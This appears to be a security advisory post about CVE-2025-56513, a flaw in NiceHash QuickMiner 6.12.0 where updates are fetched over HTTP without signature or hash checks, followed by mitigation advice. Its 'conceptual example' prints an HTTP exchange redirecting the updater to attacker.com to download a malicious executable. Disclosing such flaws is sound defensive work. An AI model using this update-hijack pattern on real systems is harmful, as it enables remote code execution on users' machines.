Overview<\/strong><\/p>\n

In this post, we delve into the details of a severe cybersecurity vulnerability, infamously known as CVE-2025-56513, present in NiceHash QuickMiner 6.12.0. This vulnerability can be exploited by an attacker to hijack the update process and deliver arbitrary executables resulting in full remote code execution. It predominantly affects users of the NiceHash QuickMiner software and is significantly critical due<\/a> to its potential for system compromise and data leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-56513
\nSeverity: Critical (CVSS score 9.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Full remote code execution<\/a> leading to potential system compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

NiceHash QuickMiner | 6.12.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploitation of this vulnerability stems from NiceHash QuickMiner’s lack of validation during software<\/a> updates. Specifically, the software performs updates over HTTP without digital signature validation or hash checks. An attacker with the ability to intercept or redirect traffic to the update URL can thus hijack the update process and deliver arbitrary executables<\/a>. The software automatically executes these executables, enabling full remote code execution<\/a> by the attacker.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example demonstrating how an attacker might exploit this vulnerability:<\/p>\n

GET \/update HTTP\/1.1\nHost: update.nicehash.com\nUser-Agent: NiceHash QuickMiner\/6.12.0\nHTTP\/1.1 302 Found\nLocation: http:\/\/attacker.com\/malicious_update.bin\nGET \/malicious_update.bin HTTP\/1.1\nHost: attacker.com\nUser-Agent: NiceHash QuickMiner\/6.12.0\nHTTP\/1.1 200 OK\nContent-Type: application\/octet-stream\n{ \"malicious_payload\": \"...\" }<\/code><\/pre>\n
In this example, the attacker redirects the update request to their own server and delivers a malicious update package, which is then automatically executed by the NiceHash QuickMiner software.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
Users of NiceHash<\/a> QuickMiner are advised to immediately apply the vendor patch to mitigate this vulnerability. For temporary mitigation, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection against possible exploits. However, these are not long-term solutions and the vendor patch should be applied as soon as possible.<\/p>\n","protected":false},"excerpt":{"rendered":"
